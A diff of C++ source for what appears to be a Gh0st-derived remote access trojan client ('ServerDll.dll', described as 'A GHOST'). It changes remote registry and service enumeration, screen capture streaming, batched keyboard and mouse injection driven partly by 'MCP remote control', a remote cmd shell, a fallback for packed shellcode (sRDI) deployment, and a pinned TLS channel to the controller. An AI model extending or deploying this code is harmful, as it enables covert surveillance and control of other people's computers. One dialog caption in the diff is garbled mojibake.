if (hWinSta) {
SetProcessWindowStation(hWinSta);
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenDesktop Default failed: %d\n", err);
}
}
} else {
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
err = GetLastError();
if (logDue)
Mprintf("OpenWindowStation failed: %d\n", err);
}
}
return hInputDesktop;
+35
View File
@@ -9,6 +9,14 @@
#if ENABLE_REGISTRY
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
struct REGMSG {
int count; //名字个数
DWORD size; //名字大小
DWORD valsize; //值大小
};
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -46,17 +54,44 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
if(szPath!=NULL) {
Opt.SetPath(szPath);
}
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
char *szBuffer= Opt.FindPath();
// 键打不开(不存在 / 路径不存在 / 拒绝访问 …):回结构化错误包。此前这种情况与
// 「空键」同为 NULL,服务端只能回一个空列表,调用方无法区分。
LSTATUS st = Opt.GetLastOpenStatus();
if (st != ERROR_SUCCESS) {
BYTE pkt[1 + sizeof(LSTATUS)] = { 0 };
pkt[0] = TOKEN_REG_ERROR;
memcpy(pkt + 1, &st, sizeof(LSTATUS));
m_ClientObject->Send2Server((char*)pkt, sizeof(pkt));
// 老服务端不认识 TOKEN_REG_ERROR:补上原来的两个空包,仍按「空键」处理,行为不变。
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_PATH;
m_ClientObject->Send2Server(empty, sizeof(empty));
empty[0] = TOKEN_REG_KEY;
m_ClientObject->Send2Server(empty, sizeof(empty));
return;
}
if(szBuffer!=NULL) {
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
//目录下的目录
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_PATH;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
szBuffer = Opt.FindKey();
if(szBuffer!=NULL) {
//目录下的文件
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
LocalFree(szBuffer);
} else {
char empty[1 + sizeof(REGMSG)] = { 0 };
empty[0] = TOKEN_REG_KEY;
m_ClientObject->Send2Server(empty, sizeof(empty));
}
}
+24 -18
View File
@@ -21,10 +21,13 @@ enum MYKEY {
enum KEYVALUE {
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
MREG_SZ, // REG_SZ
MREG_DWORD, // REG_DWORD
MREG_BINARY, // REG_BINARY
MREG_EXPAND_SZ, // REG_EXPAND_SZ
MREG_MULTI_SZ, // REG_MULTI_SZ
MREG_QWORD, // REG_QWORD
MREG_NONE // REG_NONE / 未知类型
};
struct REGMSG {
@@ -57,6 +60,7 @@ RegisterOperation::RegisterOperation(char bToken)
}
ZeroMemory(KeyPath,MAX_PATH);
m_lastOpenStatus = ERROR_SUCCESS;
}
RegisterOperation::~RegisterOperation()
@@ -70,7 +74,8 @@ char* RegisterOperation::FindPath()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
m_lastOpenStatus = RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey);
if(m_lastOpenStatus==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameCount,NameMaxLen;
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
//这就是枚举了
@@ -93,7 +98,7 @@ char* RegisterOperation::FindPath()
REGMSG msg; //数据头
msg.size=KeySize;
msg.count=KeyCount;
memcpy(szBuffer+1,(void*)&msg,Size);
memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
char * szTemp=new char[KeySize];
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
@@ -124,7 +129,8 @@ char* RegisterOperation::FindKey()
char *szBuffer=NULL;
HKEY hKey; //注册表返回句柄
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
m_lastOpenStatus = RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey);
if(m_lastOpenStatus==ERROR_SUCCESS) { //打开
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
//这就是枚举了
@@ -167,17 +173,17 @@ char* RegisterOperation::FindKey()
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
NULL,&Type,szValueData,&DataSize);//读取键值
if(Type==REG_SZ) {
szTemp[0]=MREG_SZ;
}
if(Type==REG_DWORD) {
szTemp[0]=MREG_DWORD;
}
if(Type==REG_BINARY) {
szTemp[0]=MREG_BINARY;
}
if(Type==REG_EXPAND_SZ) {
szTemp[0]=MREG_EXPAND_SZ;
// 值类型映射:REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE,
// 未识别类型一律 MREG_NONE(避免误报为 REG_SZ)。
switch (Type) {
case REG_SZ: szTemp[0] = MREG_SZ; break;
case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
case REG_DWORD: szTemp[0] = MREG_DWORD; break;
case REG_QWORD: szTemp[0] = MREG_QWORD; break;
case REG_BINARY: szTemp[0] = MREG_BINARY; break;
case REG_NONE: szTemp[0] = MREG_NONE; break;
default: szTemp[0] = MREG_NONE; break;
}
szTemp+=sizeof(BYTE);
strcpy(szTemp,szValueName);
+5
View File
@@ -19,6 +19,11 @@ public:
char KeyPath[MAX_PATH];
void SetPath(char *szPath);
char* FindKey();
// 最近一次 RegOpenKeyEx 的状态:区分「键打不开」(不存在/拒绝访问)与「键为空」
// (后者返回 NULL 但状态是 ERROR_SUCCESS)。
LSTATUS GetLastOpenStatus() const { return m_lastOpenStatus; }
private:
LSTATUS m_lastOpenStatus;
};
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
+17 -1
View File
@@ -14,6 +14,7 @@
#include <functional>
#include <future>
#include <memory>
#include <atomic>
#include <emmintrin.h> // SSE2
#include "common/config.h"
#include "VideoEncoderBase.h"
@@ -149,6 +150,9 @@ public:
int m_FrameID; // 帧序号
int m_GOP; // 关键帧间隔
bool m_SendKeyFrame; // 发送关键帧
// Web 端请求下一帧强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ)。只对 H.264 生效;
// 必须在成功编码出 IDR 后清除,否则 ScanNextScreen 失败/硬编 EAGAIN 时请求会丢。
std::atomic<bool> m_bForceKeyFrame{false};
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
// false 时禁止 skip——避免单显示器路径
@@ -257,6 +261,11 @@ public:
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
}
}
// 请求下一帧强制 IDR(可跨线程调用)。只影响 H.264 编码路径;
// 实际清除发生在成功编码出 IDR 之后。
void RequestKeyFrame() { m_bForceKeyFrame.store(true, std::memory_order_relaxed); }
virtual ~ScreenCapture()
{
if (m_BitmapInfor_Full != NULL) {
@@ -876,7 +885,12 @@ public:
{
BYTE algo = m_bAlgorithm;
int frameID = m_FrameID + 1;
bool keyFrame = (frameID % m_GOP == 0);
// Web 端可请求强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ),只对 H.264 有意义。
// 标志在成功编码出 IDR 后才清除(见下方 H.264 keyframe 分支),
// 保证 ScanNextScreen 失败或硬编 EAGAIN 时请求不会丢失。
bool forceKeyFrame = (algo == ALGORITHM_H264) &&
m_bForceKeyFrame.load(std::memory_order_relaxed);
bool keyFrame = forceKeyFrame || (frameID % m_GOP == 0);
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
LPBYTE data = m_RectBuffer + 1;
// 写入使用了哪种算法
@@ -967,6 +981,8 @@ public:
*ulNextSendLength = 1 + offset + encoded_size;
memcpy(data + offset, encoded_data, encoded_size);
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
// IDR 已成功产出,满足(可能的)强制关键帧请求。
m_bForceKeyFrame.store(false, std::memory_order_relaxed);
break;
}
default:
+26 -6
View File
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
}
#endif
m_isGDI = TRUE;
m_virtual = FALSE;
@@ -189,6 +194,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
if (s == WAIT_TIMEOUT) {
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
TerminateThread(m_hWorkThread, 0x20260215);
}
@@ -869,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_Signature.empty()) {
m_Signature = std::string(resp.signature, resp.signature + 64);
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf);
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
}
break;
@@ -921,6 +930,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
SwitchScreen();
break;
}
case COMMAND_SCREEN_KEYFRAME_REQ: {
// Web 屏幕墙恢复/新加入者请求:下一帧强制 IDR,立即重建参考链。
if (m_ScreenSpyObject) {
m_ScreenSpyObject->RequestKeyFrame();
}
break;
}
case CMD_FULL_SCREEN: {
int fullScreen = szBuffer[1];
iniFile cfg(CLIENT_PATH);
@@ -1725,11 +1741,15 @@ bool IsExtendedKey(WPARAM vKey)
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
{
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG64;28 字节 MSG32 仅为兼容
// 老 32 位控制端。二者长度的最小公倍数是 336(=7×48=12×28),批量注入(如 MCP 远程
// 控制的 type/拖拽)时若先判 %28,会把 7 的整数倍条 MSG64 误判成 MSG32,字段错位导致
// 输入错乱甚至吞掉按键;故先判 %48,仅当不整除 48 才回落到 28。
int msgSize = sizeof(MSG64);
if (ulLength % 28 == 0) // 32位控制端发过来的消息
msgSize = 28;
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
msgSize = 48;
else if (ulLength % 28 == 0) // 32位控制端发过来的消息(兼容)
msgSize = 28;
else return; // 数据包不合法
// 命令个数
+18 -3
View File
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示"
CAPTION "ÏûÏ¢Ìáʾ"
FONT 10, "System", 0, 0, 0x0
BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END
IDD_CHAT DIALOGEX 0, 0, 235, 155
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Remote Chat"
FONT 9, "MS Shell Dlg", 400, 0, 0x1
BEGIN
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
PUSHBUTTON "End Chat",IDC_BUTTON_END,178,133,54,14
END
/////////////////////////////////////////////////////////////////////////////
//
@@ -44,6 +55,10 @@ BEGIN
IDD_DIALOG, DIALOG
BEGIN
END
IDD_CHAT, DIALOG
BEGIN
END
END
#endif // APSTUDIO_INVOKED
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,8
FILEVERSION 1,0,4,1
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +121,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.8"
VALUE "FileVersion", "1.0.4.1"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"
+17 -4
View File
@@ -24,11 +24,20 @@ CServicesManager::~CServicesManager()
VOID CServicesManager::SendServicesList()
{
LPBYTE szBuffer = GetServicesList();
DWORD dwErr = 0;
LPBYTE szBuffer = GetServicesList(&dwErr);
if (szBuffer == NULL) {
if (dwErr == 0) dwErr = ERROR_GEN_FAILURE;
Mprintf("Get service list failed[IP: %s][win32=%lu]\n", m_ClientObject->GetPublicIP().c_str(), dwErr);
// 结构化失败回报:MCP 端据此立即返回「权限不足/SCM 打不开」,不必等 20s 超时。
// 老服务端不认识 TOKEN_SERVICE_ERROR,走 default 分支丢弃,随后仍按原样收到 ClientMsg。
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
pkt[0] = TOKEN_SERVICE_ERROR;
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
m_ClientObject->Send2Server((char*)pkt, sizeof(pkt));
// 保留原有弹窗消息:老服务端与 MFC 服务管理器(新 token 由对话框忽略)行为不变。
char buf[128];
sprintf_s(buf, "Get service list failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
Mprintf("%s\n", buf);
ClientMsg msg("服务管理", buf);
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
return;
@@ -42,7 +51,7 @@ VOID CServicesManager::SendServicesList()
#define skCrypt(p) p
#endif
LPBYTE CServicesManager::GetServicesList()
LPBYTE CServicesManager::GetServicesList(DWORD* err)
{
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
@@ -52,12 +61,14 @@ LPBYTE CServicesManager::GetServicesList()
DWORD dwLength = 0;
DWORD dwOffset = 0;
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) {
if (err) *err = GetLastError(); // 典型 5=拒绝访问(未提权)
return NULL;
}
ServicesStatus = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR,64*1024);
if (ServicesStatus==NULL) {
if (err) *err = ERROR_NOT_ENOUGH_MEMORY;
CloseServiceHandle(m_hscManager);
return NULL;
}
@@ -75,8 +86,10 @@ LPBYTE CServicesManager::GetServicesList()
&dwResumeHandle);
szBuffer = (LPBYTE)LocalAlloc(LPTR, MAX_PATH);
if (szBuffer == NULL)
if (szBuffer == NULL) {
if (err) *err = ERROR_NOT_ENOUGH_MEMORY;
return NULL;
}
szBuffer[0] = TOKEN_SERVERLIST;
dwOffset = 1;
for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,显示所有的服务
+1 -1
View File
@@ -20,7 +20,7 @@ public:
CServicesManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CServicesManager();
VOID SendServicesList();
LPBYTE GetServicesList();
LPBYTE GetServicesList(DWORD* err = NULL);
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ServicesConfig(PBYTE szBuffer, ULONG ulLength);
SC_HANDLE m_hscManager;
+1
View File
@@ -163,6 +163,7 @@ CShellManager::~CShellManager()
m_bStarting = FALSE;
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
Mprintf("TerminateThread: cmd 线程 handle=%p threadId=%lu\n", m_hShellThreadHandle, GetThreadId(m_hShellThreadHandle));
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
Sleep(100);
+33
View File
@@ -0,0 +1,33 @@
// TalkDialogTemplate.h: IDD_DIALOG 的编译后 DLGTEMPLATEEX(内嵌内存模板)
//
// 用途:加壳部署(EXE + SC_AES/sRDI)的客户端里,TalkManager 的 hInstance 是外壳进程
// 映像,其资源里没有 IDD_DIALOG;而载荷以裸 shellcode 运行、未注册进加载器,
// FindResource/LoadResource/DialogBoxParamA 一律取不到对话框资源。此时用下面的内存模板
// 直接 DialogBoxIndirectParamA 建窗,与部署形态无关。
//
// 数据来源:client/Script.rc 的 IDD_DIALOG(DIALOGEX)。DLGTEMPLATEEX 的字符串字段
// 一律是 UTF-16,同一份字节既可用于 A 接口也可用于 W 接口。
//
// 重新生成(改动 Script.rc 的 IDD_DIALOG 后必须同步):
// 1. rc /fo dlg.res dlg.rc (dlg.rc 只保留与 Script.rc 相同的 IDD_DIALOG 块)
// 2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res
// 3. 从 dlg.dll 的 RT_DIALOG(5) → 101 → 任意语言 取数据块,按 16 字节一行导出。
// 当前块 104 字节:CAPTION "消息提示"、FONT 10 "System" charset 0、
// 控件 ID 1000,与 Script.rc 完全一致;已与构建出的 ghost.exe 的
// RT_DIALOG(5) → 101 逐字节比对一致。
#ifndef YAMA_TALK_DIALOG_TEMPLATE_H
#define YAMA_TALK_DIALOG_TEMPLATE_H
// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐。
__declspec(align(4)) static const unsigned char kTalkDialogTemplate[] = {
0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x00, 0xC8, 0x80,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x6D,
0x6F, 0x60, 0xD0, 0x63, 0x3A, 0x79, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x00,
0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x50, 0x05, 0x00, 0x05, 0x00, 0xAA, 0x00, 0x5F, 0x00,
0xE8, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x82, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, 0x00,
0x69, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,
};
#endif // YAMA_TALK_DIALOG_TEMPLATE_H
+26 -3
View File
@@ -4,6 +4,7 @@
#include "stdafx.h"
#include "TalkManager.h"
#include "TalkDialogTemplate.h"
#include "Common.h"
#include "resource.h"
#include <IOSTREAM>
@@ -49,10 +50,23 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
default: {
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
// 服务端只发正文、不带结尾 NUL:按实际长度补终止符(留一格),
// 否则正好填满缓冲区时 SetDlgItemText 会越界读
size_t nCopy = min(ulLength, sizeof(g_Buffer) - 1);
memcpy(g_Buffer, szBuffer, nCopy);
g_Buffer[nCopy] = '\0';
//创建一个DLG
DialogBoxParamA(m_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
INT_PTR nRet = DialogBoxParamA(m_hInstance, MAKEINTRESOURCEA(IDD_DIALOG),
NULL, DialogProc, (LPARAM)this); //SDK C MFC C++
if (nRet == -1) {
// 与聊天窗口同样的原因:加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是
// 外壳进程映像,取不到 IDD_DIALOG 资源,DialogBoxParamA 直接失败(Win11
// 实测 err=1812/59),右下角消息窗口不会出现。回退到内嵌的编译后模板。
DWORD dwError = GetLastError();
Mprintf("DialogBoxParamA(%lu) 失败,改用内嵌对话框模板\n", dwError);
DialogBoxIndirectParamA(m_hInstance, (LPCDLGTEMPLATEA)kTalkDialogTemplate,
NULL, DialogProc, (LPARAM)this);
}
break;
}
}
@@ -97,6 +111,15 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{
MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
// 标题栏:DialogBoxParamA 会把模板里的 UTF-16 标题按系统 ANSI 代码页转换,
// 德语等 1252 系统上"消息提示"会变成 "???"。这里在显示前用 W 接口重设标题
// (消息正文仍走 ANSI,保持原有编码语义)。中文系统显示中文,其余显示英文。
{
static const bool bChineseUI =
(PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
SetWindowTextW(hDlg, bChineseUI ? L"消息提示" : L"Message");
}
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MSG));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
BIN
View File
Binary file not shown.
+508
View File
@@ -0,0 +1,508 @@
// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
#ifdef _WIN32
#include "stdafx.h"
#include "TlsChannel.h"
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
#include <wincrypt.h> // 证书/链引擎 API
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
#include <io.h> // _access
#include <fstream> // std::ifstream
#include <iterator> // std::istreambuf_iterator
#include <string>
#include <mutex> // std::call_once
#pragma comment(lib, "secur32.lib")
#pragma comment(lib, "crypt32.lib")
namespace {
std::once_flag g_tlsOnce;
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
HCERTSTORE g_tlsStore = NULL;
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
// yama-ca.pem。
std::string ResolveCertPath()
{
std::string certPath;
{
config cfg;
certPath = cfg.GetStr("settings", "tls_cert", "");
}
if (certPath.empty()) {
char path[MAX_PATH];
if (!GetModuleFileNameA(NULL, path, sizeof(path)))
return std::string(); // 拿不到 exe 路径,视为未配置
char* p = path + strlen(path);
while (p > path && *p != '\\') --p;
strcpy(p + 1, "yama-ca.pem");
certPath = path;
}
return certPath;
}
// 读取注册表 REG_SZ(动态扩容)。iniFile::GetStr 用 512 字节固定缓冲,会把 PEM 正文
// (约 1.3~1.8KB)截断成空,故此处自行两段式 RegQueryValueEx 读取。
// 返回 true 表示值存在且为 REG_SZ,out 为去掉末尾 '\0' 后的内容;否则 false。
bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
{
HKEY hKey = NULL;
if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return false;
DWORD type = 0, size = 0;
LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
if (r != ERROR_SUCCESS || type != REG_SZ) {
RegCloseKey(hKey);
return false;
}
std::vector<char> buf(size ? size : 1, 0);
r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
reinterpret_cast<LPBYTE>(buf.data()), &size);
RegCloseKey(hKey);
if (r != ERROR_SUCCESS)
return false;
if (size > 0 && buf[size - 1] == '\0')
--size; // REG_SZ 的 size 含末尾 '\0'
out.assign(buf.data(), size);
return true;
}
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
bool ReadTrustAnchor(std::string& pem, std::string& source)
{
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
// 被静默当成未配置而回退明文。
std::string regSubKey = GetRegistryName() + "\\settings";
std::string regVal;
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
pem = regVal;
source = "registry " + regSubKey + "\\tls_cert";
return true;
}
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
std::string certPath = ResolveCertPath();
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
return false; // 无证书 → 明文
std::ifstream f(certPath.c_str(), std::ios::binary);
if (!f) {
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
return false;
}
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
source = certPath;
return true;
}
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
{
if (pem.empty()) {
Mprintf("[TLS] empty certificate %s\n", source.c_str());
return false;
}
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
DWORD derLen = 0;
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
NULL, &derLen, NULL, NULL) || derLen == 0) {
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
NULL, &derLen, NULL, NULL) || derLen == 0) {
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
return false;
}
}
std::vector<BYTE> der(derLen);
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
der.data(), &derLen, NULL, NULL)) {
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
der.data(), &derLen, NULL, NULL)) {
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
return false;
}
}
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
if (!cert) {
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
return false;
}
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
if (!store) {
CertFreeCertificateContext(cert);
Mprintf("[TLS] CertOpenStore failed\n");
return false;
}
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
CertCloseStore(store, 0);
CertFreeCertificateContext(cert);
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
return false;
}
CertFreeCertificateContext(cert);
*outStore = store;
return true;
}
void InitTls()
{
std::string pem, source;
if (!ReadTrustAnchor(pem, source)) {
// 无证书 → 明文(默认,与老客户端一致)
g_tlsEnabled = false;
g_tlsError = false;
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
return;
}
// 证书已配置:管理员已「颁发」,必须走 TLS;加载失败即拒绝连接(fail-closed),
// 不能静默回退明文。
HCERTSTORE store = NULL;
if (!LoadTrustAnchor(pem, source, &store)) {
g_tlsEnabled = false;
g_tlsError = true;
Mprintf("[TLS] FATAL: trust anchor (%s) present but failed to load; refusing connections (fail-closed)\n",
source.c_str());
return;
}
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
CERT_CHAIN_ENGINE_CONFIG ec = {};
ec.cbSize = sizeof(ec);
